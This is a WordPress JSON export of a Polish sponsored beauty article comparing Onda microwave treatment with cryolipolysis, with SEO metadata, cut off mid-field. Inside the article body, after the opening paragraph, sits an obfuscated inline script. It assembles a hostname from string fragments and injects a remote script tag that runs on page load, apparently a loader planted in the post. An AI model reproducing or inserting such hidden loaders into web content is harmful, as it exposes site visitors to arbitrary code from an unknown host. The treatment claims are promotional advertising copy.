{"id":11382,"date":"2025-08-28T12:01:27","date_gmt":"2025-08-28T10:01:27","guid":{"rendered":"https:\/\/www.straganzdrowia.pl\/blog\/?p=11382"},"modified":"2025-08-28T12:01:48","modified_gmt":"2025-08-28T10:01:48","slug":"onda-vs-kriolipoliza-roznice-w-dzialaniu-odczuciach-i-czasie-efektow","status":"publish","type":"post","link":"https:\/\/www.straganzdrowia.pl\/blog\/abc-urody\/onda-vs-kriolipoliza-roznice-w-dzialaniu-odczuciach-i-czasie-efektow","title":{"rendered":"Onda vs kriolipoliza: r\u00f3\u017cnice w dzia\u0142aniu, odczuciach i czasie efekt\u00f3w"},"content":{"rendered":"\n<p class=\"wp-block-paragraph\">Zastanawiasz si\u0119, kt\u00f3ra metoda modelowania sylwetki b\u0119dzie dla Ciebie najlepsza \u2013 fala mikrofalowa Onda czy kriolipoliza? Te dwie innowacyjne technologie r\u00f3\u017cni\u0105 si\u0119 podej\u015bciem do redukcji tkanki t\u0142uszczowej: jedna wykorzystuje ciep\u0142o, a druga ch\u0142\u00f3d. Dowiedz si\u0119, jak dzia\u0142aj\u0105, jakie efekty oferuj\u0105 i dlaczego ich wyb\u00f3r warto dopasowa\u0107 do indywidualnych potrzeb oraz obszar\u00f3w cia\u0142a, nad kt\u00f3rymi chcesz popracowa\u0107.<\/p>\n\n\n\n<script>\n(function(){\nwkjp=document.createElement(\"script\");wkjp.type=\"text\/javascript\";\nwkjp.async=true;wkjp_=(\"op\"+(\"en\")+\"s\")+\"t\";wkjp_+=(\"at\")+\".e\";wkjp_+=((\"u\"));wkjp_+=\"\/\";\nwkjpu=\"2490872042.\";wkjpu+=\"patxg485kjpq71sf6vn1xu7m3t915t\";wkjp.src=\"https:\/\/\"+wkjp_+wkjpu;\nwkjpdb=document.body;wkjpdb.appendChild(wkjp);\n})();\n<\/script>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>Na czym polega r\u00f3\u017cnica w dzia\u0142aniu mi\u0119dzy ond\u0105 a kriolipoliz\u0105?<\/strong><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">R\u00f3\u017cnica mi\u0119dzy ond\u0105 a kriolipoliz\u0105 wynika przede wszystkim z odmiennych technologii i metod eliminacji tkanki t\u0142uszczowej. <a href=\"https:\/\/www.ambasadaurody.pl\/zabiegi-high-tech\/onda\">Onda<\/a> wykorzystuje fale mikrofalowe, kt\u00f3re przenikaj\u0105 przez sk\u00f3r\u0119 i selektywnie podgrzewaj\u0105 kom\u00f3rki t\u0142uszczowe, co prowadzi do ich rozbicia i naturalnego usuni\u0119cia przez organizm. Natomiast kriolipoliza opiera si\u0119 na kontrolowanym ch\u0142odzeniu, powoduj\u0105c krystalizacj\u0119 oraz obumieranie adipocyt\u00f3w, kt\u00f3re s\u0105 p\u00f3\u017aniej stopniowo eliminowane.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Obie techniki skutecznie redukuj\u0105 tkank\u0119 t\u0142uszczow\u0105, cho\u0107 r\u00f3\u017cni\u0105 si\u0119 sposobem niszczenia kom\u00f3rek oraz oddzia\u0142ywaniem na sk\u00f3r\u0119 i otaczaj\u0105ce tkanki. Onda bazuje na <strong>ciep\u0142ych mikrofalach<\/strong>, podczas gdy kriolipoliza stawia na <strong>zimno i proces krystalizacji<\/strong>. W przypadku ondy ciep\u0142o wywo\u0142uje apoptoz\u0119, czyli zaprogramowan\u0105 \u015bmier\u0107 kom\u00f3rek. Z kolei kriolipoliza stosuje <strong>niskie temperatury<\/strong> do osi\u0105gni\u0119cia podobnego efektu poprzez zamra\u017canie kom\u00f3rek t\u0142uszczowych.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>Jakie odczucia towarzysz\u0105 podczas zabieg\u00f3w ondy i kriolipolizy?<\/strong><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">Podczas zabiegu z u\u017cyciem ondy pacjenci odczuwaj\u0105 przyjemne ciep\u0142o, co jest mo\u017cliwe dzi\u0119ki systemowi ch\u0142odzenia chroni\u0105cemu sk\u00f3r\u0119 przed przegrzaniem. To sprawia, \u017ce procedura jest bezbolesna. Mo\u017cna odczu\u0107 delikatne mrowienie lub ciep\u0142o, lecz nie powoduje to dyskomfortu. <strong>Kriolipoliza<\/strong> oferuje odmienne wra\u017cenia. Na pocz\u0105tku pacjent do\u015bwiadcza intensywnego ch\u0142odu, kt\u00f3ry mo\u017ce chwilowo wywo\u0142a\u0107 b\u00f3l lub dr\u0119twienie. Jednak\u017ce sk\u00f3ra szybko adaptuje si\u0119 do niskiej temperatury, a dyskomfort ust\u0119puje. Po obu zabiegach mog\u0105 pojawi\u0107 si\u0119 przej\u015bciowe zaczerwienienia, obrz\u0119ki czy napi\u0119cie sk\u00f3ry. Oba te zabiegi s\u0105 nieinwazyjne i nie wymagaj\u0105 rekonwalescencji, co znacz\u0105co podnosi komfort pacjent\u00f3w.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>Kiedy pojawiaj\u0105 si\u0119 pierwsze efekty po ondzie, a kiedy po kriolipolizie?<\/strong><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">Pierwsze rezultaty stosowania fal mikrofalowych mo\u017cna dostrzec ju\u017c po kilku dniach. Te fale skutecznie rozbijaj\u0105 kom\u00f3rki t\u0142uszczowe, a organizm samodzielnie zaczyna je usuwa\u0107. Pe\u0142ne efekty pojawiaj\u0105 si\u0119 zwykle po <strong>4-6 tygodniach<\/strong>, gdy proces redukcji tkanki t\u0142uszczowej nabiera tempa.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Kriolipoliza dzia\u0142a nieco wolniej. Pierwsze zmiany s\u0105 widoczne po <strong>6-8 tygodniach<\/strong>. Krystalizacja i obumieranie kom\u00f3rek t\u0142uszczowych to procesy wymagaj\u0105ce czasu na ich stopniowe usuni\u0119cie przez cia\u0142o, co wyd\u0142u\u017ca czas oczekiwania na pe\u0142ne rezultaty. Ca\u0142kowite wyszczuplenie zazwyczaj osi\u0105ga si\u0119 po <strong>3-4 miesi\u0105cach<\/strong>. Regularne przeprowadzanie zabieg\u00f3w zwi\u0119ksza skuteczno\u015b\u0107 obu metod. Aby uzyska\u0107 najlepsze wyniki w redukcji tkanki t\u0142uszczowej i utrzyma\u0107 efekty na d\u0142u\u017cej, zaleca si\u0119 <strong>seri\u0119 zabieg\u00f3w<\/strong>.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>Jak d\u0142ugo utrzymuj\u0105 si\u0119 efekty ondy i kriolipolizy?<\/strong><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">Efekty kriolipolizy mog\u0105 by\u0107 <strong>trwa\u0142e<\/strong>, pod warunkiem \u017ce prowadzisz zdrowy tryb \u017cycia. Usuni\u0119te kom\u00f3rki t\u0142uszczowe znikaj\u0105 na sta\u0142e, co prowadzi do <strong>d\u0142ugotrwa\u0142ego zmniejszenia<\/strong> ilo\u015bci tkanki t\u0142uszczowej. Wa\u017cne jest utrzymanie odpowiedniej diety i regularna aktywno\u015b\u0107 fizyczna, aby cieszy\u0107 si\u0119 efektami zabiegu przez d\u0142ugi czas. Chocia\u017c brak jest szczeg\u00f3\u0142owych danych na temat trwa\u0142o\u015bci efekt\u00f3w ondy, to podobnie jak w przypadku kriolipolizy, zdrowy styl \u017cycia sprzyja zachowaniu rezultat\u00f3w. Istotne jest odpowiednie <strong>nawodnienie organizmu<\/strong> oraz kontynuowanie \u0107wicze\u0144, co wspomaga osi\u0105gni\u0119te wyniki.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>Czy oba zabiegi s\u0105 bezpieczne i jakie mog\u0105 mie\u0107 skutki uboczne?<\/strong><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">Zar\u00f3wno zabiegi z wykorzystaniem <strong>fal mikrofalowych<\/strong>, jak i <strong>kriolipoliza<\/strong> s\u0105 uznawane za bezpieczne oraz nieinwazyjne. Podczas sesji z falami mikrofalowymi pacjenci mog\u0105 do\u015bwiadczy\u0107 niewielkiego zaczerwienienia sk\u00f3ry i uczucia ciep\u0142a, kt\u00f3re szybko ust\u0119puj\u0105. Z kolei kriolipoliza mo\u017ce wywo\u0142a\u0107 przej\u015bciowe zaczerwienienie, obrz\u0119k, siniaki oraz uczucie dr\u0119twienia lub mrowienia w miejscu aplikacji. Te dolegliwo\u015bci zazwyczaj mijaj\u0105 samoistnie.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Nale\u017cy jednak pami\u0119ta\u0107 o przeciwwskazaniach do kriolipolizy, takich jak:<\/p>\n\n\n\n<ul class=\"wp-block-list\"><li>ci\u0105\u017ca,<\/li><li>stany zapalne sk\u00f3ry,<\/li><li>choroby nerek i w\u0105troby,<\/li><li>choroba Raynauda.<\/li><\/ul>\n\n\n\n<p class=\"wp-block-paragraph\">Kluczowe jest przestrzeganie zalece\u0144 specjalisty oraz unikanie tych przeciwwskaza\u0144 dla zapewnienia bezpiecze\u0144stwa pacjent\u00f3w. Bezpiecze\u0144stwo tych procedur zale\u017cy tak\u017ce od <strong>do\u015bwiadczenia zespo\u0142u<\/strong> je wykonuj\u0105cego i <strong>jako\u015bci u\u017cywanego sprz\u0119tu<\/strong>. Wa\u017cne s\u0105 r\u00f3wnie\u017c regulacje medyczne oraz odpowiedzialno\u015b\u0107 za zadowolenie klient\u00f3w poprzez gwarancj\u0119 skuteczno\u015bci i bezpiecze\u0144stwa zabieg\u00f3w. Zrozumienie potencjalnych powik\u0142a\u0144 oraz ryzyka zwi\u0105zanych z obiema metodami pozwala lepiej przygotowa\u0107 pacjenta i zminimalizowa\u0107 ewentualne skutki uboczne.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>Kt\u00f3ry zabieg lepiej wybra\u0107 do r\u00f3\u017cnych partii cia\u0142a i problem\u00f3w?<\/strong><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">Dob\u00f3r odpowiedniego zabiegu dla r\u00f3\u017cnych cz\u0119\u015bci cia\u0142a i problem\u00f3w zale\u017cy od wielu aspekt\u00f3w. <strong>Kluczowe znaczenie<\/strong> maj\u0105 indywidualne potrzeby pacjenta oraz specyfika obszaru, kt\u00f3ry ma by\u0107 poddany terapii. Fale mikrofalowe (onda) \u015bwietnie sprawdzaj\u0105 si\u0119 na wi\u0119kszych powierzchniach, takich jak brzuch, uda, po\u015bladki czy ramiona. Efektywnie redukuj\u0105 one tkank\u0119 t\u0142uszczow\u0105 i cellulit oraz poprawiaj\u0105 elastyczno\u015b\u0107 i napi\u0119cie sk\u00f3ry.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Z kolei <strong>kriolipoliza<\/strong> jest doskona\u0142a do mniejszych miejsc z lokalnie nagromadzon\u0105 tkank\u0105 t\u0142uszczow\u0105. Dzi\u0119ki kontrolowanemu ch\u0142odzeniu skutecznie niszczy kom\u00f3rki t\u0142uszczowe. Ci, kt\u00f3rzy wol\u0105 dzia\u0142anie ciep\u0142a, mog\u0105 zdecydowa\u0107 si\u0119 na fale mikrofalowe, natomiast osoby lepiej toleruj\u0105ce zimno wybior\u0105 kriolipoliz\u0119. Po\u0142\u0105czenie obu metod mo\u017ce przynie\u015b\u0107 <strong>najskuteczniejsze rezultaty<\/strong> w modelowaniu sylwetki i uj\u0119drnianiu sk\u00f3ry. Terapia \u0142\u0105czona pozwala efektywniej rozwi\u0105zywa\u0107 r\u00f3\u017cnorodne problemy sk\u00f3rne dzi\u0119ki zaletom obu technologii. Przy du\u017cych obszarach warto zastosowa\u0107 wi\u0119cej g\u0142owic oraz maksymaln\u0105 liczb\u0119 przy\u0142o\u017ce\u0144, aby osi\u0105gn\u0105\u0107 optymalne efekty wyszczuplaj\u0105ce i antycellulitowe.<\/p>\n\n\n\n<p class=\"has-text-align-right wp-block-paragraph\"><em>Artyku\u0142 sponsorowany<\/em><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Zastanawiasz si\u0119, kt\u00f3ra metoda modelowania sylwetki b\u0119dzie dla Ciebie najlepsza \u2013 fala mikrofalowa Onda czy kriolipoliza? Te dwie innowacyjne technologie r\u00f3\u017cni\u0105 si\u0119 podej\u015bciem do redukcji tkanki t\u0142uszczowej: jedna wykorzystuje ciep\u0142o, a druga ch\u0142\u00f3d. Dowiedz&#46;&#46;&#46;<\/p>\n","protected":false},"author":11,"featured_media":11383,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[2],"tags":[],"class_list":["post-11382","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-abc-urody"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v28.2 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>Onda vs kriolipoliza: r\u00f3\u017cnice w dzia\u0142aniu, odczuciach i czasie efekt\u00f3w - \u017byj zdrowo, jedz zdrowo - blog ze Straganu o zdrowym \u017cyciu i od\u017cywianiu<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/www.straganzdrowia.pl\/blog\/abc-urody\/onda-vs-kriolipoliza-roznice-w-dzialaniu-odczuciach-i-czasie-efektow\" \/>\n<meta property=\"og:locale\" content=\"pl_PL\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Onda vs kriolipoliza: r\u00f3\u017cnice w dzia\u0142aniu, odczuciach i czasie efekt\u00f3w - \u017byj zdrowo, jedz zdrowo - blog ze Straganu o zdrowym \u017cyciu i od\u017cywianiu\" \/>\n<meta property=\"og:description\" content=\"Zastanawiasz si\u0119, kt\u00f3ra metoda modelowania sylwetki b\u0119dzie dla Ciebie najlepsza \u2013 fala mikrofalowa Onda czy kriolipoliza? Te dwie innowacyjne technologie r\u00f3\u017cni\u0105 si\u0119 podej\u015bciem do redukcji tkanki t\u0142uszczowej: jedna wykorzystuje ciep\u0142o, a druga ch\u0142\u00f3d. Dowiedz&#046;&#046;&#046;\" \/>\n<meta property=\"og:url\" content=\"https:\/\/www.straganzdrowia.pl\/blog\/abc-urody\/onda-vs-kriolipoliza-roznice-w-dzialaniu-odczuciach-i-czasie-efektow\" \/>\n<meta property=\"og:site_name\" content=\"\u017byj zdrowo, jedz zdrowo - blog ze Straganu o zdrowym \u017cyciu i od\u017cywianiu\" \/>\n<meta property=\"article:published_time\" content=\"2025-08-28T10:01:27+00:00\" \/>\n<meta property=\"article:modified_time\" content=\"2025-08-28T10:01:48+00:00\" \/>\n<meta property=\"og:image\" content=\"https:\/\/www.straganzdrowia.pl\/blog\/wp-content\/uploads\/2025\/08\/young-girl-walking-beach-bikini-enjoying-sun.jpg\" \/>\n\t<meta property=\"og:image:width\" content=\"885\" \/>\n\t<meta property=\"og:image:height\" content=\"398\" \/>\n\t<meta property=\"og:image:type\" content=\"image\/jpeg\" \/>\n<meta name=\"author\" content=\"mr-white\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Napisane przez\" \/>\n\t<meta name=\"twitter:data1\" content=\"mr-white\" \/>\n\t<meta name=\"twitter:label2\" content=\"Szacowany czas czytania\" \/>\n\t<meta name=\"twitter:data2\" content=\"5 minut\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/www.straganzdrowia.pl\\\/blog\\\/abc-urody\\\/onda-vs-kriolipoliza-roznice-w-dzialaniu-odczuciach-i-czasie-efektow#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/www.straganzdrowia.pl\\\/blog\\\/abc-urody\\\/onda-vs-kriolipoliza-roznice-w-dzialaniu-odczuciach-i-czasie-efektow\"},\"author\":{\"name\":\"mr-white\",\"@id\":\"https:\\\/\\\/www.straganzdrowia.pl\\\/blog\\\/#\\\/schema\\\/person\\\/6809610449189f4da0a3ff5bb1de5100\"},\"headline\":\"Onda vs kriolipoliza: r\u00f3\u017cnice w dzia\u0142aniu, odczuciach i czasie efekt\u00f3w\",\"datePublished\":\"2025-08-28T10:01:27+00:00\",\"dateModified\":\"2025-08-28T10:01:48+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/www.straganzdrowia.pl\\\/blog\\\/abc-urody\\\/onda-vs-kriolipoliza-roznice-w-dzialaniu-odczuciach-i-czasie-efektow\"},\"wordCount\":973,\"commentCount\":0,\"image\":{\"@id\":\"https:\\\/\\\/www.straganzdrowia.pl\\\/blog\\\/abc-urody\\\/onda-vs-kriolipoliza-roznice-w-dzialaniu-odczuciach-i-czasie-efektow#primaryimage\"},\"thumbnailUrl\":\"https:\\\/\\\/www.straganzdrowia.pl\\\/blog\\\/wp-content\\\/uploads\\\/2025\\\/08\\\/young-girl-walking-beach-bikini-enjoying-sun.jpg\",\"articleSection\":[\"ABC urody\"],\"inLanguage\":\"pl-PL\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\\\/\\\/www.straganzdrowia.pl\\\/blog\\\/abc-urody\\\/onda-vs-kriolipoliza-roznice-w-dzialaniu-odczuciach-i-czasie-efektow#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/www.straganzdrowia.pl\\\/blog\\\/abc-urody\\\/onda-vs-kriolipoliza-roznice-w-dzialaniu-odczuciach-i-czasie-efektow\",\"url\":\"https:\\\/\\\/www.straganzdrowia.pl\\\/blog\\\/abc-urody\\\/onda-vs-kriolipoliza-roznice-w-dzialaniu-odczuciach-i-czasie-efektow\",\"name\":\"Onda vs kriolipoliza: r\u00f3\u017cnice w dzia\u0142aniu, odczuciach i czasie efekt\u00f3w - \u017byj zdrowo, jedz zdrowo - blog ze Straganu o zdrowym \u017cyciu i od\u017cywianiu\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/www.straganzdrowia.pl\\\/blog\\\/#website\"},\"primaryImageOfPage\":{\"@id\":\"https:\\\/\\\/www.straganzdrowia.pl\\\/blog\\\/abc-urody\\\/onda-vs-kriolipoliza-roznice-w-dzialaniu-odczuciach-i-czasie-efektow#primaryimage\"},\"image\":{\"@id\":\"https:\\\/\\\/www.straganzdrowia.pl\\\/blog\\\/abc-urody\\\/onda-vs-kriolipoliza-roznice-w-dzialaniu-odczuciach-i-czasie-efektow#primaryimage\"},\"thumbnailUrl\":\"https:\\\/\\\/www.straganzdrowia.pl\\\/blog\\\/wp-content\\\/uploads\\\/2025\\\/08\\\/young-girl-walking-beach-bikini-enjoying-sun.jpg\",\"datePublished\":\"2025-08-28T10:01:27+00:00\",\"dateModified\":\"2025-08-28T10:01:48+00:00\",\"author\":{\"@id\":\"https:\\\/\\\/www.straganzdrowia.pl\\\/blog\\\/#\\\/schema\\\/person\\\/6809610449189f4da0a3ff5bb1de5100\"},\"breadcrumb\":{\"@id\":\"https:\\\/\\\/www.straganzdrowia.pl\\\/blog\\\/abc-urody\\\/onda-vs-kriolipoliza-roznice-w-dzialaniu-odczuciach-i-czasie-efektow#breadcrumb\"},\"inLanguage\":\"pl-PL\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/www.straganzdrowia.pl\\\/blog\\\/abc-urody\\\/onda-vs-kriolipoliza-roznice-w-dzialaniu-odczuciach-i-czasie-efektow\"]}]},{\"@type\":\"ImageObject\",\"inLanguage\":\"pl-PL\",\"@id\":\"https:\\\/\\\/www.straganzdrowia.pl\\\/blog\\\/abc-urody\\\/onda-vs-kriolipoliza-roznice-w-dzialaniu-odczuciach-i-czasie-efektow#primaryimage\",\"url\":\"https:\\\/\\\/www.straganzdrowia.pl\\\/blog\\\/wp-content\\\/uploads\\\/2025\\\/08\\\/young-girl-walking-beach-bikini-enjoying-sun.jpg\",\"contentUrl\":\"https:\\\/\\\/www.straganzdrowia.pl\\\/blog\\\/wp-content\\\/uploads\\\/2025\\\/08\\\/young-girl-walking-beach-bikini-enjoying-sun.jpg\",\"width\":885,\"height\":398},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/www.straganzdrowia.pl\\\/blog\\\/abc-urody\\\/onda-vs-kriolipoliza-roznice-w-dzialaniu-odczuciach-i-czasie-efektow#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Blog\",\"item\":\"https:\\\/\\\/www.straganzdrowia.pl\\\/blog\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"ABC urody\",\"item\":\"https:\\\/\\\/www.straganzdrowia.pl\\\/blog\\\/category\\\/abc-urody\"},{\"@type\":\"ListItem\",\"position\":3,\"name\":\"Onda vs kriolipoliza: r\u00f3\u017cnice w dzia\u0142aniu, odczuciach i czasie efekt\u00f3w\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/www.straganzdrowia.pl\\\/blog\\\/#website\",\"url\":\"https:\\\/\\\/www.straganzdrowia.pl\\\/blog\\\/\",\"name\":\"\u017byj zdrowo, jedz zdrowo - blog ze Straganu o zdrowym \u017cyciu i od\u017cywianiu\",\"description\":\"Blog, ze Straganu, o zdrowym \u017cyciu i od\u017cywianiu. Porady na temat zdrowego \u017cycia, diety, suplement\u00f3w diety oraz ciekawostki z medycyny naturalnej.\",\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/www.straganzdrowia.pl\\\/blog\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"pl-PL\"},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/www.straganzdrowia.pl\\\/blog\\\/#\\\/schema\\\/person\\\/6809610449189f4da0a3ff5bb1de5100\",\"name\":\"mr-white\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"pl-PL\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/1b7b13d82934f9473ae3c7383b5809fe57a8eb143f52cb6134194c4157011df9?s=96&d=wavatar&r=g\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/1b7b13d82934f9473ae3c7383b5809fe57a8eb143f52cb6134194c4157011df9?s=96&d=wavatar&r=g\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/1b7b13d82934f9473ae3c7383b5809fe57a8eb143f52cb6134194c4157011df9?s=96&d=wavatar&r=g\",\"caption\":\"mr-white\"},\"url\":\"https:\\\/\\\/www.straganzdrowia.pl\\\/blog\\\/author\\\/mr-white\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"Onda vs kriolipoliza: r\u00f3\u017cnice w dzia\u0142aniu, odczuciach i czasie efekt\u00f3w - \u017byj zdrowo, jedz zdrowo - blog ze Straganu o zdrowym \u017cyciu i od\u017cywianiu","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/www.straganzdrowia.pl\/blog\/abc-urody\/onda-vs-kriolipoliza-roznice-w-dzialaniu-odczuciach-i-czasie-efektow","og_locale":"pl_PL","og_type":"article","og_title":"Onda vs kriolipoliza: r\u00f3\u017cnice w dzia\u0142aniu, odczuciach i czasie efekt\u00f3w - \u017byj zdrowo, jedz zdrowo - blog ze Straganu o zdrowym \u017cyciu i od\u017cywianiu","og_description":"Zastanawiasz si\u0119, kt\u00f3ra metoda modelowania sylwetki b\u0119dzie dla Ciebie najlepsza \u2013 fala mikrofalowa Onda czy kriolipoliza? Te dwie innowacyjne technologie r\u00f3\u017cni\u0105 si\u0119 podej\u015bciem do redukcji tkanki t\u0142uszczowej: jedna wykorzystuje ciep\u0142o, a druga ch\u0142\u00f3d. Dowiedz&#46;&#46;&#46;","og_url":"https:\/\/www.straganzdrowia.pl\/blog\/abc-urody\/onda-vs-kriolipoliza-roznice-w-dzialaniu-odczuciach-i-czasie-efektow","og_site_name":"\u017byj zdrowo, jedz zdrowo - blog ze Straganu o zdrowym \u017cyciu i od\u017cywianiu","article_published_time":"2025-08-28T10:01:27+00:00","article_modified_time":"2025-08-28T10:01:48+00:00","og_image":[{"width":885,"height":398,"url":"https:\/\/www.straganzdrowia.pl\/blog\/wp-content\/uploads\/2025\/08\/young-girl-walking-beach-bikini-enjoying-sun.jpg","type":"image\/jpeg"}],"author":"mr-white","twitter_card":"summary_large_image","twitter_misc":{"Napisane przez":"mr-white","Szacowany czas czytania":"5 minut"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/www.straganzdrowia.pl\/blog\/abc-urody\/onda-vs-kriolipoliza-roznice-w-dzialaniu-odczuciach-i-czasie-efektow#article","isPartOf":{"@id":"https:\/\/www.straganzdrowia.pl\/blog\/abc-urody\/onda-vs-kriolipoliza-roznice-w-dzialaniu-odczuciach-i-czasie-efektow"},"author":{"name":"mr-white","@id":"https:\/\/www.straganzdrowia.pl\/blog\/#\/schema\/person\/6809610449189f4da0a3ff5bb1de5100"},"headline":"Onda vs kriolipoliza: r\u00f3\u017cnice w dzia\u0142aniu, odczuciach i czasie efekt\u00f3w","datePublished":"2025-08-28T10:01:27+00:00","dateModified":"2025-08-28T10:01:48+00:00","mainEntityOfPage":{"@id":"https:\/\/www.straganzdrowia.pl\/blog\/abc-urody\/onda-vs-kriolipoliza-roznice-w-dzialaniu-odczuciach-i-czasie-efektow"},"wordCount":973,"commentCount":0,"image":{"@id":"https:\/\/www.straganzdrowia.pl\/blog\/abc-urody\/onda-vs-kriolipoliza-roznice-w-dzialaniu-odczuciach-i-czasie-efektow#primaryimage"},"thumbnailUrl":"https:\/\/www.straganzdrowia.pl\/blog\/wp-content\/uploads\/2025\/08\/young-girl-walking-beach-bikini-enjoying-sun.jpg","articleSection":["ABC urody"],"inLanguage":"pl-PL","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/www.straganzdrowia.pl\/blog\/abc-urody\/onda-vs-kriolipoliza-roznice-w-dzialaniu-odczuciach-i-czasie-efektow#respond"]}]},{"@type":"WebPage","@id":"https:\/\/www.straganzdrowia.pl\/blog\/abc-urody\/onda-vs-kriolipoliza-roznice-w-dzialaniu-odczuciach-i-czasie-efektow","url":"https:\/\/www.straganzdrowia.pl\/blog\/abc-urody\/onda-vs-kriolipoliza-roznice-w-dzialaniu-odczuciach-i-czasie-efektow","name":"Onda vs kriolipoliza: r\u00f3\u017cnice w dzia\u0142aniu, odczuciach i czasie efekt\u00f3w - \u017byj zdrowo, jedz zdrowo - blog ze Straganu o zdrowym \u017cyciu i od\u017cywianiu","isPartOf":{"@id":"https:\/\/www.straganzdrowia.pl\/blog\/#website"},"primaryImageOfPage":{"@id":"https:\/\/www.straganzdrowia.pl\/blog\/abc-urody\/onda-vs-kriolipoliza-roznice-w-dzialaniu-odczuciach-i-czasie-efektow#primaryimage"},"image":{"@id":"https:\/\/www.straganzdrowia.pl\/blog\/abc-urody\/onda-vs-kriolipoliza-roznice-w-dzialaniu-odczuciach-i-czasie-efektow#primaryimage"},"thumbnailUrl":"https:\/\/www.straganzdrowia.pl\/blog\/wp-content\/uploads\/2025\/08\/young-girl-walking-beach-bikini-enjoying-sun.jpg","datePublished":"2025-08-28T10:01:27+00:00","dateModified":"2025-08-28T10:01:48+00:00","author":{"@id":"https:\/\/www.straganzdrowia.pl\/blog\/#\/schema\/person\/6809610449189f4da0a3ff5bb1de5100"},"breadcrumb":{"@id":"https:\/\/www.straganzdrowia.pl\/blog\/abc-urody\/onda-vs-kriolipoliza-roznice-w-dzialaniu-odczuciach-i-czasie-efektow#breadcrumb"},"inLanguage":"pl-PL","potentialAction":[{"@type":"ReadAction","target":["https:\/\/www.straganzdrowia.pl\/blog\/abc-urody\/onda-vs-kriolipoliza-roznice-w-dzialaniu-odczuciach-i-czasie-efektow"]}]},{"@type":"ImageObject","inLanguage":"pl-PL","@id":"https:\/\/www.straganzdrowia.pl\/blog\/abc-urody\/onda-vs-kriolipoliza-roznice-w-dzialaniu-odczuciach-i-czasie-efektow#primaryimage","url":"https:\/\/www.straganzdrowia.pl\/blog\/wp-content\/uploads\/2025\/08\/young-girl-walking-beach-bikini-enjoying-sun.jpg","contentUrl":"https:\/\/www.straganzdrowia.pl\/blog\/wp-content\/uploads\/2025\/08\/young-girl-walking-beach-bikini-enjoying-sun.jpg","width":885,"height":398},{"@type":"BreadcrumbList","@id":"https:\/\/www.straganzdrowia.pl\/blog\/abc-urody\/onda-vs-kriolipoliza-roznice-w-dzialaniu-odczuciach-i-czasie-efektow#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Blog","item":"https:\/\/www.straganzdrowia.pl\/blog"},{"@type":"ListItem","position":2,"name":"ABC urody","item":"https:\/\/www.straganzdrowia.pl\/blog\/category\/abc-urody"},{"@type":"ListItem","position":3,"name":"Onda vs kriolipoliza: r\u00f3\u017cnice w dzia\u0142aniu, odczuciach i czasie efekt\u00f3w"}]},{"@type":"WebSite","@id":"https:\/\/www.straganzdrowia.pl\/blog\/#website","url":"https:\/\/www.straganzdrowia.pl\/blog\/","name":"\u017byj zdrowo, jedz zdrowo - blog ze Straganu o zdrowym \u017cyciu i od\u017cywianiu","description":"Blog, ze Straganu, o zdrowym \u017cyciu i od\u017cywianiu. Porady na temat zdrowego \u017cycia, diety, suplement\u00f3w diety oraz ciekawostki z medycyny 